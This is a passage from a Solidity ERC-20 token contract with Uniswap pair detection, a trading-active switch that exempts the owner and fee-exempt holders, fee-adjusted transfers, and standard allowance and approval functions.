init=true;
}
catch(bytes memory){
}
}
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
if(init==false){
try IUniswapV2Factory(uniV2Router.factory()).getPair(address(this), uniV2Router.WETH()){
uniswapPair = IUniswapV2Factory(uniV2Router.factory()).getPair(address(this), uniV2Router.WETH());
init=true;
}
catch(bytes memory){
}
}
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
if((uniswapPair != recipient && sender != owner() && !holderNoFee[sender]))
require(active != false, "Trading is not active.");
uint256 senderAmount=_walletsAmount.get(sender);
uint256 recipientAmount=_walletsAmount.get(recipient);
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
senderAmount = senderAmount.sub(amount, "Insufficient Balance");
uint256 finalAmount = (holderNoFee[sender] || holderNoFee[recipient]) ? amount : fee(sender, recipient, amount);
recipientAmount = recipientAmount.add(finalAmount);
_walletsAmount.set(sender,senderAmount);
_walletsAmount.set(recipient,recipientAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
function balanceOf(address account) public view override returns (uint256) {
return _walletsAmount.get(account);
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
receive() external payable {}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(deadAddress));
}
}